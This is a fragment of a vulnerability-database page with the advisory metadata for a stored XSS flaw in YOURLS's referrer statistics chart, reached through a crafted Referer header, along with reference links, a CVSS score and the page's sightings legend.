  "id": "GHSA-5h77-88j3-r659",
  "modified": "2026-08-21T20:57:24Z",
  "published": "2026-08-21T20:57:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YOURLS/YOURLS/pull/4107"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YOURLS/YOURLS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YOURLS has stored XSS in referrer statistics chart via crafted Referer header"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-63135 (GCVE-0-2026-63135)

FKIE_CVE-2026-63135

GHSA-5H77-88J3-R659

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour